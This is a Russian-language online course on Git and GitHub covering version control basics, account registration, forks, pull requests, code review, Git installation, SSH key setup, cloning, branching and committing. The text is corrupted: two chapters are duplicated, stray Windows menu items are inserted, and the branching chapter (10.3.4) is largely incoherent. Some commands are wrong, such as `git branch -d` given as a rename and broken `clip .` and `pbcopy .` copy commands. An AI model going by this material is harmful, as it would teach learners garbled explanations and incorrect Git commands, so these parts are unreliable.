Если мы попробуем заменить путь к отслеживаемым файлам на `*.html`, то есть будем следить за изменениями во всех HTML-файлах, любое изменение разметки мгновенно отобразится в браузере.

Каждая перезагрузка браузера отображается в терминале.

Чтобы остановить работу **Browsersync**, нужно в терминале нажать сочетание `Ctrl + C`. Это сочетание работает во всех операционных системах.

~ 5 минут

Глава 10.1. Система контроля версий Git

Для начала определим, что такое система контроля версий.

Так называют программу, которая позволяет хранить разные версии одного и того же документа, легко переключаться между ранними и поздними вариантами, вносить и отслеживать изменения.

Системы контроля версий используют, например, команды разработчиков, так как они часто трудятся над одним проектом, а значит, сразу несколько человек могут изменять один файл одновременно. Система контроля версий помогает таким командам избежать путаницы: она позволяет хранить историю изменений проекта и при необходимости даёт возможность вернуться к предыдущей версии.

Одна из самых популярных систем контроля версий называется **Git**. Работу Git, как и любой другой системы контроля версий, можно сравнить с процессом сохранения и загрузки в компьютерных играх:

- если впереди ждёт тяжёлое сражение, то перед этим лучше заранее сохраниться;
- чтобы это сделать, нужно выполнить специальную команду;
- после этого сохранение попадает в специальную папку и содержит состояние игры;
- теперь при необходимости всегда есть возможность вернуться к предыдущей версии игры.

Папка, содержащая данные игры, могла бы выглядеть так:

```
SomeGame/
| - saves
|  | - save001.sav
|  | - save002.sav
|  |   ...
|  |   папка с сохранениями
|
| - game.exe
|   ...
|   файлы игры
```

В папке `saves` хранится история всех сохранений игры. Git сохраняет код вашего проекта по такому же принципу: сохранения попадают в специальную скрытую папку.

Основные понятия

Репозиторий

Проект, в котором была инициализирована система Git, называется репозиторием. Репозиторий хранит все рабочие файлы и историю их изменений.

Рабочая область и хранилище

```
barbershop/
| - .git
|  | - bea0f8e
|  | - d516600
|  |   ...
|  |   Хранилище
|
| - css
| - index.html
|   ...
|   Рабочая область
```

Корневая папка проекта — это рабочая область. В ней находятся все файлы и папки, необходимые для его работы.

Хранилище — это содержимое скрытой папки `.git`, которая добавляется в проект при инициализации. В этой папке хранятся все версии рабочей области и служебная информация. Этим версиям система автоматически даёт название, состоящее из букв и цифр. В примере выше — это `bea0f8e` и `d516600`.

Коммит

Точно так же, как и в игре, в системе контроля версий Git можно сохранить текущее состояние проекта. Для этого есть специальная команда — `commit`. Она делает так, что новая версия проекта сохраняется и добавляется в хранилище. Каждый коммит хранит список изменений, по которым можно восстановить полное состояние рабочей области, её папок и файлов проекта.

В итоге проект работает так:

1. Репозиторий хранит все версии проекта. В случае передачи этого проекта другому человеку, он увидит всё, что с ним происходило до этого.
2. Ничего не теряется и не удаляется бесследно. При удалении файла в новой версии добавляется запись о том, что файл был удалён.
3. Всегда можно вернуться к любой из версий проекта, загрузив её из хранилища в рабочую область.

Окружение Git

Плюсом Git является то, что вокруг него создано множество сервисов, которые позволяют сделать работу с ним удобнее. Расскажем о тех, что будут вам полезны в начале работы.

GitHub

GitHub — это веб-сервис, который основан на системе Git. Это такая социальная сеть для разработчиков, которая помогает удобно вести коллективную разработку IT-проектов. Здесь можно публиковать и редактировать свой код, комментировать чужие наработки, следить за новостями других пользователей. Именно в GitHub работаем мы, команда Академии, и студенты курсов.

Терминал

Отличие Git от других программ — отсутствие графической версии. Поэтому работа с Git ведётся через командную строку. В разных операционных системах свои программы для взаимодействия с Git. В мире разработки такие программы называют «терминал» или «консоль». А работает это так: мы вводим команду и получаем реакцию машины: сообщение об ошибке, запрос на подтверждение информации, результат выполненных действий.

GUI

Облегчить работу с Git и GitHub могут специальные программы. Такие программы в удобной форме показывают изменения в коде, список коммитов и обладают другими удобными возможностями. Обычно в подобных программах есть возможность выполнять стандартные Git команды, просто нажав на кнопку.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 2 минуты

Глава 10.2.1. Регистрация на GitHub

Чтобы начать работу с GitHub, нужно зарегистрироваться на сайте (если вы ещё этого не сделали). За дело.

1. Переходим на сайт GitHub.

2. В верхнем правом углу нажимаем кнопку «Sign up» (зарегистрироваться) и попадаем на страницу регистрации. Вводим обязательные данные: имя пользователя, адрес электронной почты и пароль, и проходим верификацию. После заполнения данных и успешного прохождения верификации нажимаем на кнопку «Create account».

3. Третий шаг — небольшой опрос от GitHub, который вы можете пройти или пропустить, нажав кнопку «Complete setup».

Опрос на третьем шаге регистрации

4. После прохождения всех этапов на сайте на указанную при регистрации электронную почту вам придёт письмо от GitHub. Откройте его и подтвердите свой почтовый адрес, нажав «Verify email address» (подтвердить электронный адрес), или скопируйте вспомогательную ссылку из письма и вставьте её в адресную строку браузера.

5. После подтверждения почты GitHub предложит создать новый репозиторий, организацию или узнать больше о GitHub. Этот пункт пока можно пропустить и перейти в профиль, выбрав пункт «Your profile» в выпадающем меню.

Переходим в профиль

Теперь у вас есть профиль на GitHub.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 2 минуты

Глава 10.2.1. Регистрация на GitHub

Чтобы начать работу с GitHub, нужно зарегистрироваться на сайте (если вы ещё этого не сделали). За дело.

1. Переходим на сайт GitHub.

2. В верхнем правом углу нажимаем кнопку «Sign up» (зарегистрироваться) и попадаем на страницу регистрации. Вводим обязательные данные: имя пользователя, адрес электронной почты и пароль, и проходим верификацию. После заполнения данных и успешного прохождения верификации нажимаем на кнопку «Create account».

3. Третий шаг — небольшой опрос от GitHub, который вы можете пройти или пропустить, нажав кнопку «Complete setup».

Опрос на третьем шаге регистрации

4. После прохождения всех этапов на сайте на указанную при регистрации электронную почту вам придёт письмо от GitHub. Откройте его и подтвердите свой почтовый адрес, нажав «Verify email address» (подтвердить электронный адрес), или скопируйте вспомогательную ссылку из письма и вставьте её в адресную строку браузера.

5. После подтверждения почты GitHub предложит создать новый репозиторий, организацию или узнать больше о GitHub. Этот пункт пока можно пропустить и перейти в профиль, выбрав пункт «Your profile» в выпадающем меню.

Переходим в профиль

Теперь у вас есть профиль на GitHub.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 3 минуты

Глава 10.2.2. Работа с репозиториями

Работа с репозиториями

Мы уже знаем, что репозиторий — это рабочая папка с проектом, которая хранит в себе все рабочие файлы и историю их изменений. По сути, это та же папка с HTML, CSS, JavaScript и прочими файлами, что хранится у вас на компьютере, только находится она на сервере GitHub. Поэтому вы можете работать с проектом удалённо на любой машине, не переживая, что какие-то из ваших файлов потеряются — все данные будут в репозитории при условии, что вы их туда отправите. Но об этом позже.

Форк

Если над проектом трудится команда разработчиков, как правило, создаётся общий репозиторий, в котором находится рабочая версия проекта (назовём его мастер-репозиторий). Вносить изменения в мастер-репозиторий напрямую чаще всего нельзя в целях безопасности. Поэтому каждый пользователь копирует к себе в профиль оригинальный репозиторий и работает именно с копией. Такая копия называется форком. Так как **форк** — ваша персональная версия мастер-репозитория, в нём вы можете пробовать разные решения, менять код и не бояться что-то сломать в основной версии проекта.

Чтобы сделать форк, нужно зайти в нужный репозиторий и нажать на «вилку» с надписью Fork. После этого в вашем профиле на GitHub появится полная копия этого репозитория со всеми коммитами и ветками.

Кнопка Fork в мастер-репозитории

Любой публичный репозиторий на GitHub можно форкнуть. Так что вы сможете прислать свои изменения в любой проект. Главное, чтобы они были нужные и полезные.

Пулреквест

Пулреквест — это предложение изменить код в репозитории. Мы буквально предлагаем влить в репозиторий правки, которые сделали.

Создать пулреквест можно на странице форка. После создания, пулреквест должен получить ревью и одобрение так называемого коллаборатора — пользователя GitHub, который имеет права администратора в мастер-репозитории. Им может быть ваш коллега-разработчик, техлид, наставник.

Если к вашему коду нет вопросов, пулреквест принимается и ваши изменения попадают в мастер-репозиторий. Если в код нужно доработать внести изменения, пулреквест отклоняется, и вам нужно внести изменения и отправить их в этот же пулреквест.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 4 минуты

Глава 10.2.3. Code review

Code review

Ревью кода — это оценка качества кода другими разработчиками.

Для джунов — это бесценная возможность улучшить код и перенять фишки более опытных разработчиков. Для мидл-разработчиков — это интересная возможность узнать что-то новое и высказать своё мнение о тех или иных решениях, а иногда даже *поспорить, пока не пришёл синьор*. Для тимлидов — это отличный инструмент контроля качества общего продукта.

Итак, как это всё происходит в бою. Вы берёте задачу, выполняете её, пушите на сервер и создаёте пулреквест.

После этого начинается магия код-ревью.

Ревью кода в интерфейсе GitHub

Красным подсвечиваются удалённые строки, а зелёным добавленные — сразу видны все изменения.

На курсах Академии код-ревью используется как эффективный инструмент для проверки заданий. Наставник переходит по ссылке из интерфейса курса в ваш пулреквест на GitHub и начинает проверку: смотрит, насколько правильно и полно вы выполнили задание, даёт советы по неоднозначным моментам и оставляет комментарии.

Комментарий наставника в пулреквесте

Также GitHub предоставляет возможность использовать Suggest (дословно — 'совет'), то есть сделать точный пример изменения кода.

Саджест к коду в пулреквесте

Стоит отдельно отметить, что комментарии — это удобный инструмент не только для наставника, но и для вас: вы сразу увидите, в каких моментах нужно поправить или подумать над кодом.

GitHub отправит вам на почту уведомление о каждом новом комментарии в пулреквесте, чтобы вы точно ничего не пропустили.

После ревью наставник решает, насколько критичны ошибки в коде, и если они существенно влияют на качество, то отправляет на доработку. Если же всё отлично, то вы получите апрув пулреквеста (от англ. to approve — 'одобрять, заверять'), и изменения попадут в мастер-репозиторий.

Что же делать, если вы не получили апрув?

Во-первых, это не повод расстраиваться, а во-вторых, наставник всегда на связи и поможет вам разобраться с исправлениями.

Если у вас появляются вопросы по комментариям наставника, вы можете задать их в пулреквесте или попросить наставника созвониться, чтобы обсудить варианты правок и выбрать лучшее решение.

Наставник уточняет, как именно исправить ошибку

Комментарии отображаются во вкладке Files changed (изменённые файлы) или во вкладке Conversations (обсуждения). Для удобства и скорости обсуждения обычно используют встроенные реакции, чтобы не писать много односложных комментариев.

Реакции на комментарии в пулреквесте

О точных значениях реакций вы можете договориться с вашим наставником в процессе обучения, но вот подсказки о возможных значениях:

- «глазки» — просмотрел;
- «палец вверх» — учёл комментарий, внёс правки;
- «палец вниз» — не внёс правки.

Кроме того, вы можете помечать уже исправленные комментарии как решённые при помощи кнопки Resolve conversation. После этого комментарий свернётся и не будет отвлекать вас от остальных правок.

Кнопка «Resolve conversation» находится под комментариями

Вы можете договориться с наставником о том, как использовать эту кнопку. Это может быть инструмент исключительно для вас и ваших доработок или же наставник будет проверять с её помощью то, как вы учли комментарии.

В заключение можно сказать, что ревью кода — полезная процедура как для процесса обучения, так и для самой разработки. Она даёт возможность обсудить код и чётко видеть историю переписки по всем исправлениям.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 13 минут

Глава 10.3.1. Начало работы с Git в терминале

Работа с Git с помощью GitHub Desktop и подобных программ (включая интерфейс редактора кода) — это как работа швейцарским ножом: он удобен и подходит для простых действий.

Нам же, как профессионалам своего дела, в работе с репозиторием может понадобиться хирургическая точность — скальпель. И для этой роли подойдёт терминал.

Но прежде чем творить с помощью «скальпеля» сложные операции, давайте разберёмся, как установить терминал и начать им пользоваться.

Установка

Если раньше вы не работали с Git, сперва его нужно установить. Для Windows вместе с ним поставим ещё и терминал Git Bash, поскольку стандартный терминал Windows менее удобный. Например, в нём нельзя настроить вывод текущей ветки и ей возможности автодополнения команд.

Скачать установочный файл можно на сайте Git. Он сразу же сам определит версию под вашу систему, но если он не справился, перейдите по этой ссылке и выберите самостоятельно.

Windows

Для Windows после скачивания мы получим стандартный исполняемый файл `.exe`. Запускаем его и устанавливаем, следуя инструкциям. Ваш подойдут опции, выбранные по умолчанию, но давайте обратим внимание на пару моментов.

— В окне Select components в разделе Window Explorer Integration стоит галочка Git Bash Here. Так вы сможете запускать Git Bash прямо из контекстного меню Проводника, сразу же из нужной папки:

Окно Select components

Documents > Work > GitProjects >
Name
Date modified
Type
Size
Open
Edit
Print
Open with Code
Share with Skype
Share with Dropbox
Share with Telegram
Share with Viber
Share with Zoom
Share with Skype for Business
Share with Microsoft Teams
Share with Slack
Share with Microsoft Teams (work or school)
Share with Microsoft Teams (personal)

~ 13 минут

Глава 10.3.1. Начало работы с Git в терминале

Работа с Git с помощью GitHub Desktop и подобных программ (включая интерфейс редактора кода) — это как работа швейцарским ножом: он удобен и подходит для простых действий.

Нам же, как профессионалам своего дела, в работе с репозиторием может понадобиться хирургическая точность — скальпель. И для этой роли подойдёт терминал.

Но прежде чем творить с помощью «скальпеля» сложные операции, давайте разберёмся, как установить терминал и начать им пользоваться.

Установка

Если раньше вы не работали с Git, сперва его нужно установить. Для Windows вместе с ним поставим ещё и терминал Git Bash, поскольку стандартный терминал Windows менее удобный. Например, в нём нельзя настроить вывод текущей ветки и ей возможности автодополнения команд.

Скачать установочный файл можно на сайте Git. Он сразу же сам определит версию под вашу систему, но если он не справился, перейдите по этой ссылке и выберите самостоятельно.

Windows

Для Windows после скачивания мы получим стандартный исполняемый файл `.exe`. Запускаем его и устанавливаем, следуя инструкциям. Ваш подойдут опции, выбранные по умолчанию, но давайте обратим внимание на пару моментов.

— В окне Select components в разделе Window Explorer Integration стоит галочка Git Bash Here. Так вы сможете запускать Git Bash прямо из контекстного меню Проводника, сразу же из нужной папки:

Окно Select components

Documents > Work > GitProjects >
Name
Date modified
Type
Size
Open
Edit
Print
Open with Code
Share with Skype
Share with Dropbox
Share with Telegram
Share with Viber
Share with Zoom
Share with Skype for Business
Share with Microsoft Teams
Share with Slack
Share with Microsoft Teams (work or school)
Share with Microsoft Teams (personal)

~ 8 минут

Глава 10.3.2. Установка SSH-ключей

Git установлен, профиль на GitHub создан. Осталось добавить SSH-ключ, и можно приступать к работе с проектом.

Что такое SSH-ключ и зачем он нужен?

SSH — это протокол для безопасного соединения между компьютерами. Его используют не только для Git. Например, через SSH системные администраторы управляют серверами.

Чтобы вы могли работать со своего компьютера с GitHub, иметь доступ к проектам, хранящимся на сервере, выполнять команды в консоли без постоянного подтверждения пароля, нужно пройти авторизацию у сервера. В этом помогают SSH-ключи.

Каждый SSH-ключ состоит из пары: открытый (публичный) и закрытый (приватный) ключ. Открытый ключ отправляется на сервер, его можно не прятать от всех и не переживать, что кто-то его увидит и украдёт. Он бесполезен без своей пары — закрытого ключа. А вот закрытый ключ — секретная часть. Доступ к нему должен быть только у вас.

Чтобы было понятнее, можно представить, что публичный ключ — это замок. Мы добавим его в GitHub, как будто поставим на GitHub свой замок. А приватный ключ — это ключ к этому замку. Если кто-то украдёт приватный ключ, он сможет попасть в ваш GitHub — откроет ваш замок краденым ключом. Поэтому никому не передавайте свой приватный ключ.

Общение с GitHub по SSH происходит так. Вы отправляете какую-то информацию на сервер, где хранится ваш публичный ключ. Сервер понимает, что вы это вы, то есть идентифицирует именно вас, и даёт вам какой-то ответ. И только вы можете расшифровать этот ответ, потому что у вас есть подходящий закрытый ключ.

Чтобы пройти авторизацию по SSH-ключу, его надо сгенерировать или найти уже ранее созданный ключ на своём компьютере.

Сначала проверим, есть ли уже на компьютере ключ. По умолчанию SSH-ключи хранятся в каталоге `~/.ssh`, поэтому нужно проверить содержимое этого каталога.

1. Открываем консоль.
2. Вводим `cd ~/.ssh`, чтобы перейти в нужный каталог.
3. Используем `ls`, чтобы увидеть список всех файлов в каталоге.

   ```
   [~] cd ~/.ssh          // переходим в папку .ssh
   [.ssh] ls              // смотрим список файлов в папке
   id_rsa   id_rsa.pub
   ```

   Ищем пару файлов с названиями вида `имя` и `имя.pub`. Обычно имя — `id_rsa`, `id_dsa`, `id_ecdsa` или `id_ed25519`. Файл с расширением `.pub` — ваш публичный ключ, а второй — ваш приватный, секретный ключ.

   Если таких файлов или даже каталога `.ssh` у вас нет, вы можете их сгенерировать. Для этого делаем следующее.

   — Открываем консоль в домашней папке и создаём в ней папку `.ssh`:

   ```
   mkdir ~/.ssh     // создаём папку
   cd ~/.ssh        // заходим в папку
   ```

   — Генерируем пару ключей командой:

   ```
   ssh-keygen -t rsa -b 4096 -C "your_mail@example.com"
   ```

   Указываем тот адрес электронной почты, который вводили при регистрации на GitHub.

   Пару ключей для GitHub нужно сгенерировать один раз, поэтому не волнуйтесь, что команду сложно запомнить.

   — Далее нужно указать расположение файла для сохранения ключа. Если вы не введёте путь до файла и просто нажмёте Enter, ключ сохранится в файле, указанном в скобках.

   ```
   [.ssh] ssh-keygen -t rsa -b 4096 -C "keks@htnladademy.ru"
   Generating public/private rsa key pair.
   Enter file in which o save the key (/Users/Keks/.ssh/id_rsa):
   ```

   — Теперь нужно установить пароль к вашему ключу и дважды ввести его. Если вы не хотите вводить пароль каждый раз, когда используете ключ, пропустите этот шаг, нажав «Enter», и ничего не вводите.

   ```
   [.ssh] ssh-keygen -t rsa -b 4096 -C "keks@htnladademy.ru"
   Generating public/private rsa key pair.
   Enter file in which o save the key (/Users/Keks/.ssh/id_rsa):
   Enter passphrase (empty for no passphrase):
   ```

   — Можно проверить, сгенерировались ли ключи. Используем `ls`, чтобы увидеть список всех файлов в папке. Если всё получилось, должно появиться два файла — приватный ключ и публичный ключ с расширением.pub.

4. Добавляем ключ в `ssh-agent` (сгенерированный или уже существующий). Проверяем доступность ключа командой `eval "$(ssh-agent -s)"` и добавляем с помощью `ssh-add ~/.ssh/your_key_name`, где указываем верный путь до файла с ключом и его имя.

   ```
   [.ssh] ssh-add /Users/Keks/.ssh/id_rsa
   Identity added: /Users/Keks/.ssh/id_rsa (/Users/Keks/.ssh/id_rsa)
   ```

+ Несколько важных примечаний

5. После того как создан ключ, его нужно добавить на GitHub. Для этого копируем его содержимое с помощью одной из следующих команд:

   — если вы на Windows — `clip .`;

   — для пользователей macOS — `pbcopy .`;

   — на Linux используйте `sudo apt-get install xclip`, чтобы установить необходимый для копирования пакет `xclip`, а затем введите `xclip -sel clip .`. Или введите команду `cat ~/.ssh/id_rsa.pub`, контент документа появится прямо в консоли и вы сможете скопировать ключ оттуда.

   Можно пойти другим путём: открыть файл `id_rsa.pub` прямо в папке и просто скопировать содержимое оттуда.

6. Переходим на страницу для работы с ключами в вашем профиле на GitHub.

Страница с настройками ключей в вашем профиле

Нажимаем кнопку New SSH key (новый SSH-ключ). Вводим имя ключа (можно придумать абсолютно любое) в поле Title (название), а в Key (ключ) вставляем сам ключ из буфера обмена. Теперь нажимаем Add SSH key (добавить SSH-ключ).

Добавляем в свой профиль SSH-ключ

Если всё сделано верно, в списке появится новый ключ.

Успешно добавленный ключ

Теперь наконец-то мы можем начать работу с самим проектом.

~ 4 минуты

Глава 10.3.3. Клонирование репозитория

После того как вы сделали форк, нужно склонировать его себе на компьютер, чтобы вести работу с кодом локально. Тут нам и пригодится SSH.

Заходим на страницу форка, нажимаем на зелёную кнопку «Code» и копируем команду клонирования проекта по SSH.

+ HTTPS или SSH?

Открываем консоль, переходим в директорию, где хотим сохранить папку с проектом, вводим команду `git clone` и вставляем скопированную команду. Полностью команда будет выглядеть примерно так:

```
git clone git@github.com:your-nickname/your-project.git
```

Если вы правильно настроили SSH-ключи, Git начнёт процесс копирования репозитория на ваш компьютер. Если вы видите ошибку, в которой написано `Error: Permission denied (publickey)`, скорее всего, вы ошиблись где-то при выполнении инструкции по настройке SSH-ключа. Вернитесь в главу про настройку SSH и попробуйте повторить процесс настройки.

Кстати, если вы хотите, чтобы название папки с проектом у вас на компьютере отличалось от имени репозитория, можете дополнить команду клонирования, добавив в конце другое название:

```
git clone git@github.com:_your-nickname_/_your-project_.git folder_name
```

Теперь на вашем компьютере в папке `your_project` или в той, название которой вы указали самостоятельно, находится полная копия репозитория с GitHub.

Чтобы начать работу с проектом, надо оказаться в его директории. Для этого используем уже известную нам команду `cd`, после которой указываем название проекта на вашем компьютере: `cd your-project`.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Глава 10.3.4. Работа с ветками

История коммитов

Сначала вспомним, что такое история. Коммит — это сохранение текущего состояния проекта. Каждый коммит — это сохранение версии проекта, которая создавалась и добавлялась в репозиторий.

Посмотрим, как Git хранит коммиты. Все эти версии хранятся файлами в папке `.git`. Если вы знаете язык программирования, то можете посмотреть файлы внутри и в этой папке. Давайте посмотрим на «любую» версию нашей «любой» книги:

```
git log --oneline
```

Параметр `--oneline` выводит каждый коммит в одну строку, а не в пять, как обычно. Например, возьмем последний коммит `d2ef7b2`, нужный определенной версии книги. Параметр `-g` выводит данные в человекочитаемом виде. После `-g` идет имя коммита:

```
git cat-file -p hash
```

В каждом коммите есть:

- tree — состояние файла на момент коммита;
- parent — хэш родительского, то есть предыдущего коммита;
- author коммита и время, когда он был создан;
- committer — человек, который сделал коммит, и время, когда он его сделал;
- и на последней строке сообщение — описание коммита.

Обычно человек, который сделал коммит и автор совпадают, но это могут быть и разные люди, например, если кто-нибудь предложил вам PR, а вы его одобрили. Тогда вы будете committer, а автор — тот, кто сделал и почему его создание стоит ждать PR и ждать нужно одобрения коммита. Поэтому можно посмотреть историю, когда какой человек какой коммит был создан/одобрен.

Давайте посмотрим как выглядит первый первый коммит:

Видно, что коммит был создан/выложен, когда он был первым.

Предыдущих коммитов в истории нет. Допустим, у нас есть пять коммитов. Каждый последующий коммит на шаге родителя. Каждый коммит ссылается на второй, второй коммит ссылается на первый. Первый же не имеет как родителя, у него нет родителя. При этом, если у нас три коммита, то мы можем по ним пройтись. Обозначим их Фиксом.

Когда мы фиксируем состояние, создается новый коммит и мы перемещаемся в него. Предыдущие коммиты остаются позади.

Мы можем перемещаться в состояние этих коммитов, например, попасть во второй коммит. Это можно сделать при помощи команды `git checkout` — она переключает состояние файла. В состояние каждого коммита передадут хэш коммита, где перемещает нас в этот коммит. То есть, все файлы в нашем проекте будут выглядеть так, как в этом коммите.

Давайте выберем какой-нибудь коммит и переключимся к нему. Смотрим `git log`, чтобы выбрать коммит и переключиться. Посмотрим историю — так видно историю проекта до этого коммита.

Это он и есть: что все последующие коммиты не нужны, просто история всегда показывается до текущего коммита.

Давайте вернемся к последнему коммиту. Мерзавец, что мы не правда в последнем коммите и нам истории не показывается. Посмотрим `git log`.

Мерзавец ты опять, мы в последнем, все в порядке. Это как бы мы вернулись, и опять коммиты если посмотреть бы кто хотя?

А по последнему коммиту всегда можно вернуться. Git может сказать, что результаты, на последний коммит — некоторая сумма, которая не позволяет запомнить вместо сказа коммиты. Это уникальное имя каждого слова — `master`. Когда мы делаем новый коммит, этот указатель сдвигает вместе с ним и коммит показывать, на новый коммит.

Указателей можно создавать. Что любой коммит можно создать указатель. Например, на последующий коммит, что мы в ветке. Давайте создадим ветку в каждом. Команда `git checkout` может не только переключать ссылку, но и ветки. Но с ветки с чем создать указатель.

Найдем сам коммит, где мы сделаем страницы заголовка. Переключимся в ветку, вместо с чем создаем указатель.

```
git checkout -b yellow-design hd8ef8f
```

— `yellow-design` — это имя указателя (или ветки).

— `hd8ef8f` — хэш коммита.

Посмотрим `git status`.

Создаем, здесь написано «On branch yellow-design», а до этого всегда было написано «On branch master». Все дело в том, что мы находимся в ветке с указателем `yellow-design`.

Давайте посмотрим лог:

Видим, что мы в указателе `master` и указатель `yellow-design`. Как понять где мы?

Слева HEAD указывает на текущее состояние и данного состояния — `master`. `yellow-design` Мы можем всегда переходить только в одном состоянии, поэтому HEAD всегда одна. А множественных указателей на конечную может быть сколько.

Раньше, когда мы использовали указатель, `master`, мы создавали коммит и указатель перемещался с предыдущего коммита на новый. Теперь мы переключились в указатель. Что будет если мы попробуем что-то сделать и закоммитить?

Создаем изменения в файл, коммитим и создаем коммит Последние.

Заметили, где мы только что были: создает новый коммит. В А коммитов, которые раньше шли после нашего, нет. Давайте посмотрим полную историю коммитов.

```
git log --oneline --all --graph
```

Мы добавили флаг `--graph`, который не просто выводит историю в особенных аскарт схему. Видно, что коммит `hd8ef8f` — это коммит, на который мы сделали ветку. Теперь мы сделали одну ветку из основной и одну ветку параллельно, и каждый коммит также есть. Историю мы бы разделили.

Давайте посмотрим на схему. Сначала мы создали новый указатель основной и в конце страницы стали изучаем и переключились туда. После мы создали новый коммит. Еще мы переключили, при создании коммита, мы переходили в этот новый коммит и указатель переходит вместе с ним.

Получается, что история разошлась. После этого коммиты получились, для версии развивается собственный в другой на нижнем размещу шрифтов и другой — один на основе.

Такая ситуация встречается в реальности. А указатель `master` и `yellow-design` показывается вершина. Только данной обычной показывает ещё и все остальные коммиты, проходящиеся в текущую точку — то, что называется хэш.

То есть, когда говорят «ветка master», имеют в виду все эти коммиты.

А «ветка yellow-design» — это все эти коммиты.

Вопрос, технически с ветками разобрались. А когда всей таки создавать новую ветку?

Ветвление

Представь, что ты на центральном первом верхнем сервере сделал проекта по поиску книги для кого на время отпуска так сказать сервер прерывается, запускать фотографии себя и есть, решать дату отпуска. Ты на сайте плюс сервер с другими изменениями необходимо если чтобы не помешать сделать кого, чтобы этой функцией над работаешь.

Ты сделаешь несколько коммитов для новой страницы отпуска стоит и сервисы, страницы ещё в работе. И тут как раз нашли пользователь в том, что есть ошибка. У пользователя есть ваш Контактное Вконтакте/Контактикатальный, и вверху тот этого ежемесячного.

Ты хотел исправить ошибку, но при этом не хотел опубликовать незаконченные страницы. Что делать?

Чтобы избежать таких проблем, используют ветки. Ветки — это когда в некоторой точке истории разделяется. Например, в этой точке есть ветка master. Когда мы сделали коммиты, мы сделали ветку master. Теперь мы можем, пока та ветка, на шаге, и в CI/ — можно.

Допустим, у нас есть ветка. Допустим разные. Мы создаем новую ветку, которая создает свой работать над проектом параллельно — каждый в своей ветке реальности.

В каждом репозитории есть как минимум одна ветка. Это основная ветка, которая создает при Git, она называется `master`. Обычно в ней находится стабильная версия программы без ошибок. Если вы хотите сделать что-то новое, вы создаете новую ветку, которая называется `master`, и создаете в новой новой ветке. Здесь вы можете разрабатывать какие-нибудь, или переделывать, что работает ещё стоимости.

Когда задача сделана, работа ветка возвращается в основную — `master`. Каждая ветка — что по-прежнему которая параллельной дерева, которая также сохраняется с основной.

На одном из них вы будете использовать такую стратегию. Для каждого задания вы будете создавать ветку и работать в ней. После сделанных проверяют ваши задания в основной ветку в `master`.

Вначале мы создавали ветку `yellow-design` и изменили страницы. Так же могло можно создать ветку из текущего коммита — просто не указывать хэш.

Создадим новую ветку. Отправим проверять, ведущие команду: `git branch` — она показывает список веток, с которыми мы работаем в проекте, и выделяет текущую. Если мы находимся в `master`, создадим новую ветку при помощи команды `git branch test-master-design`. `git checkout`.

`git checkout -b имя новой ветки`

Если текущая ветка не `master`, то сначала нужно переключиться в основную ветку и создать новую ветку. Делаем на нее. Мы делаем это, чтобы новая ветка создавала каждая, на основе создания добавлю вносим проекта.

Переключиться на ветку `master` после того помощью git hd8 или git `checkout`, — что позволяет переключаться между текущими ветками в проекте. После `git checkout`, надо указать названия нужной ветки. Выполнив `git checkout master`, мы перейдем в ветку `master`.

Если вы ошибетесь в названии ветки, которую создаете, например, допустили опечатку, вы можете изменить название ветки с помощью команды: `git branch -d [старое имя ветки] [новое имя ветки]`.

Когда ветка создана и её имя в порядке, можно смело(ну то просто) отчать в работе над проектом.

~ 5 минут

Глава 10.3.5. Запись изменений в репозиторий

После того как вы создали ветку и поработали в ней у себя локально, нужно сохранить результат, чтобы он не пропал и в итоге оказался в репозитории.

Для начала введём команду `git status`. Она сообщает, в каком состоянии находится репозиторий: показывает текущее состояние в рабочей ветке, а именно список с названиями измённёных файлов, если они есть, и указывает на те, которые ожидают записи и сохранения (обычно они выделены красным цветом).

```
[345843-device-30] git status                                          module1-task1
On branch module1-task1
Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   Readme.md
        modified:   index.html

no changes added to commit (use "git add" and/or "git commit -a")
[345843-device-30]                                                     module1-task1
```

Состояние ветки

- `On branch module1-task1` означает, что мы находимся в ветке `module1-task1`.
- `Utracked files` — это неотслеживаемые файлы (те самые файлы, которые ожидают записи и сохранения).

Чтобы сохранить изменения, нужно их проиндексировать — сообщить Git, что именно мы собираемся сохранять. На скриншоте выше видно, что Git подсказывает, что нужно сделать: `use "git add" to track`.

Для примера сделаем `git add` одного файла и посмотрим, что произошло. Пишем `git add имя-файла`. Если имя файла очень длинное, вы можете начать его писать, затем нажать Tab, и консоль сама предложит вам продолжение пути к файлу.

```
[345843-device-30] git add index.html                                  module1-task1
[345843-device-30] git status                                          module1-task1
On branch module1-task1
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        modified:   index.html

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   Readme.md

[345843-device-30]                                                     module1-task1
```

Индексируем index.html

Видим, что файл `index.html` попал в изменения, которые будут закоммичены. Из красного он стал зелёным — это означает, что файл проиндексирован.

Если в будущем вы не захотите перечислять каждый файл, в который были внесены изменения, можно отметить их все одной командой `git add -A`.

Теперь проиндексируем все файлы командой `git add .` — точка означает текущую папку, значит эта команда проиндексирует всю папку. И сразу посмотрим `git status`.

```
[345843-device-30] git add .                                           module1-task1
[345843-device-30] git status                                          module1-task1
On branch module1-task1
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        modified:   Readme.md
        modified:   index.html

[345843-device-30]                                                     module1-task1
```

Проиндексировали все файлы

Теперь все файлы проиндексированы, и мы можем сделать **коммит**, то есть зафиксировать все сохранённые изменения и дать им название. Это делается с помощью команды `git commit -m "ваше сообщение"`. Параметр `-m` нужен, чтобы прикрепить к коммиту сообщение о том, что именно было изменено. Само сообщение нужно поместить в кавычки `" "`. Текст сообщения должен быть лаконичным и в то же время сообщать, что делает коммит. Например, «добавляет имя наставника в Readme», «вводит функцию сортировки изображений», «правит ошибку в поиске городов на карте».

Сделаем коммит и снова проверим `glt status`.

```
[345843-device-30] git add .                                           module1-task1
[345843-device-30] git status                                          module1-task1
On branch module1-task1
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        modified:   Readme.md
        modified:   index.html

[345843-device-30] git commit -m "Начинает работу над проектом"        module1-task1
